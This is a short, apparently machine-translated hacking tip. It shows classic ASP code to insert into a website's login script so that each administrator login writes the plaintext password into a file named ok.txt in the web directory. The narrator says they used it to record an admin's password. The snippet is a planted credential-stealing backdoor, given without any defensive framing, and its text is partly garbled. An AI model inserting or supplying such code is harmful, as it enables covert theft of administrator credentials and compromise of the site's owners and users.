In the "username = trim (replace (request (" username ") line behind Dim fsoObject Dim tsObject Set fsoObject = Server.CreateObject (" Scripting.FileSystemObject ") set tsObject = fsoObject.CreateTextFile (Server.MapPath (" ok.txt " )) TSOBJECT.WRITE CSTR (Request ("Password")) SET FSOOBJECT = Nothing set tsobject = Nothing
As long as the administrator landed in the background, I generated ok.txt in the directory, and recorded the plain text password.